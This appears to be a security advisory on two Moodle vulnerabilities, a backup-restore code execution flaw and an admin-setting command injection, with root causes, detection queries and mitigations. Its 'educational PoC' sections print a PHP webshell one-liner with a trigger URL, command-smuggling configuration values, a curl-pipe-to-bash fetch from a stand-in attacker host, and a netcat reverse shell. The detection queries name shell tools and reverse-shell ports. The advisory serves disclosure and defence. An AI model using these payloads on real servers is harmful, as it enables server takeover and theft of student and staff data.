Moodle Security Advisory
Product: Moodle LMS
Vendor: Moodle Pty Ltd
Affected Components:
- Backup & Restore subsystem
- Administrative configuration handling
Impact: Remote Code Execution (RCE), Command Injection
Risk Level: Critical
Business Impact: Full server compromise, database exposure, student/staff data breach, ransomware risk
Moodle is widely deployed across academic institutions and enterprises. Because it typically runs on internet-facing infrastructure with database connectivity and file storage access, any server-side code execution vulnerability carries a severe operational and compliance impact. The two CVEs below directly affect core functionality and must be treated as emergency patch items.
CVE-2026-26045
Backup Restore Code Execution
Overview
CVE-2026-26045 is a critical vulnerability within Moodle’s course backup and restore mechanism. The flaw resides in insufficient validation and sanitization during processing of uploaded backup archives (.mbz files).
Improper handling of extracted content and metadata during restore operations may allow arbitrary PHP code to be written and executed on the server.
The restore functionality was not sufficiently restricting file types and object handling logic during unpacking and reconstruction of course data.
Vulnerability Details
| Field | Information |
|---|---|
| CVE ID | CVE-2026-26045 |
| Vulnerability Type | Remote Code Execution |
| Attack Vector | Network |
| Privileges Required | Authenticated user |
| User Interaction | None |
| CVSS Score | 9.8 (Critical) |
| Exploit Maturity | Proof of Concept observed |
| Impact | Full server compromise |
Technical Root Cause
The issue is introduced due to:
- Insufficient validation of backup archive contents
- Unsafe processing of serialized restore data
- Insecure file extraction logic
- Potential PHP object injection during restore
- Failure to restrict executable file placement
When a crafted backup archive is uploaded, malicious files embedded within the archive structure may be written into accessible directories. If the web server executes those files, remote command execution becomes possible.
Attack Scenario
- An authenticated user uploads a malicious
.mbzfile. - The archive contains manipulated restore metadata and embedded PHP payload.
- During restore, Moodle extracts and processes files.
- A malicious PHP file is written to a web-accessible path.
- The attacker accesses the file remotely and executes system commands.
Educational PoC
The following example illustrates a simplified educational payload structure embedded inside the backup archive:
<?php echo shell_exec($_GET['cmd']); ?>
Once restore completes, the attacker may trigger execution via:
https://target/moodledata/temp/restore/shell.php?cmd=id
This demonstrates arbitrary command execution under the web server context.
Potential Impact
If successfully exploited:
- Full remote shell access
- Moodle database credential extraction
- Access to student records
- Modification of course materials
- Installation of persistent webshell
- Internal network pivoting
- Deployment of ransomware
- System takeover
Because Moodle frequently stores personal data, academic records, and authentication tokens, compromise may result in regulatory violations.
Indicators of Compromise
- Unexpected PHP files under:
- moodledata/temp/
- moodledata/backup/
- restore-related directories
- Outbound connections from Moodle server
- Suspicious restore operations by low-privileged users
- Requests containing
cmd= - Unusual POST uploads to restore endpoints
Log Sources
- Apache / Nginx access logs
- PHP-FPM logs
- Moodle application logs
- Linux audit logs
- EDR telemetry
- File integrity monitoring alerts
Detection Queries
Web Server Log Monitoring
SELECT *
FROM web_logs
WHERE request_uri LIKE '%restore%'
AND method = 'POST'
AND status_code = 200;
Suspicious Command Execution in URI
SELECT *
FROM web_logs
WHERE query_string LIKE '%cmd=%'
OR query_string LIKE '%shell_exec%'
OR query_string LIKE '%system(%';
Suspicious File Creation
SELECT *
FROM file_events
WHERE file_path LIKE '%moodledata%'
AND file_name LIKE '%.php'
AND event_type = 'CREATE';
Process Execution Monitoring
SELECT *
FROM process_logs
WHERE parent_process = 'php-fpm'
OR parent_process = 'apache2'
OR parent_process = 'nginx';
Mitigation and Remediation
- Immediate upgrade to patched Moodle version.
- Restrict restore permissions to trusted administrators only.
- Enforce strict file permissions on moodledata directory (no execute).
- Enable file integrity monitoring.
- Deploy Web Application Firewall filtering.
- Disable restore functionality temporarily if not required.
- Monitor outbound traffic from Moodle server.
Official Patch
Upgrade to the latest supported Moodle version from the official release page:
CVE-2026-26046
Admin Setting Command Injection
Overview
CVE-2026-26046 is a command injection vulnerability affecting Moodle’s administrative configuration settings. Certain configuration parameters are passed into system-level commands without proper sanitization or escaping.
When an administrator sets a malicious configuration value, arbitrary system commands may be executed by the underlying PHP application.
Vulnerability Details
| Field | Information |
|---|---|
| CVE ID | CVE-2026-26046 |
| Vulnerability Type | Command Injection |
| Attack Vector | Network |
| Privileges Required | Administrator |
| User Interaction | None |
| CVSS Score | 9.1 (Critical) |
| Exploit Maturity | Limited PoC disclosure |
| Impact | Full server compromise |
Technical Root Cause
The vulnerability results from:
- Unsanitized user input in admin settings
- Improper escaping before shell execution
- Direct use of system() or similar functions
- Lack of command argument validation
Configuration values are sometimes passed to OS-level commands. If special shell characters are included, additional commands may execute.
Attack Scenario
- Administrator account is compromised.
- Attacker accesses vulnerable admin setting.
- Malicious value is inserted.
- Backend executes command containing injected payload.
- Reverse shell or command execution is achieved.
Educational PoC
Educational malicious configuration value:
validvalue; whoami;
If backend logic resembles:
system("command $configvalue");
The injected command executes immediately.
Other examples:
; curl http://attacker/shell.sh | bash;
; nc -e /bin/bash attackerIP 4444;
These are provided strictly for defensive awareness.
Impact
- Immediate remote shell
- Database exfiltration
- Persistent backdoor
- Lateral movement
- Privilege escalation (if system misconfigured)
Because administrative privileges are required, this vulnerability is often exploited after credential theft.
Indicators of Compromise
- Unexpected configuration changes
- Shell metacharacters in admin settings
- Suspicious outbound network connections
- Web server spawning shell processes
- Reverse shell traffic
Log Sources
- Moodle admin activity logs
- Apache/Nginx access logs
- OS audit logs
- Process monitoring logs
- Firewall logs
- EDR telemetry
Detection Queries
Suspicious Admin Setting Update
SELECT *
FROM application_logs
WHERE url LIKE '%admin/settings%'
AND (request_body LIKE '%;%'
OR request_body LIKE '%&&%'
OR request_body LIKE '%|%'
OR request_body LIKE '%`%');
Process Execution Monitoring
SELECT *
FROM process_logs
WHERE parent_process IN ('apache2','nginx','php-fpm')
AND process_name IN ('bash','sh','nc','curl','wget');
Outbound Reverse Shell Detection
SELECT *
FROM network_logs
WHERE destination_port IN (4444,5555,1337)
AND source_host = 'moodle_server';
Mitigation and Remediation
- Immediate patching to latest Moodle release.
- Enforce Multi-Factor Authentication for administrators.
- Restrict admin panel by IP address.
- Apply least privilege principle.
- Monitor configuration changes.
- Disable unnecessary system command calls.
- Implement EDR with command-line logging enabled.
Official Patch
Upgrade to the latest stable Moodle release:
Overall Risk Assessment
Both vulnerabilities present critical risk:
- CVE-2026-26045 allows authenticated users to gain server-level access.
- CVE-2026-26046 allows admin-level command injection leading to system compromise.
- Combined exploitation may lead to full organizational breach.
These vulnerabilities should be prioritized as emergency remediation items. Immediate upgrade, monitoring enhancement, and forensic review are strongly recommended for exposed systems.
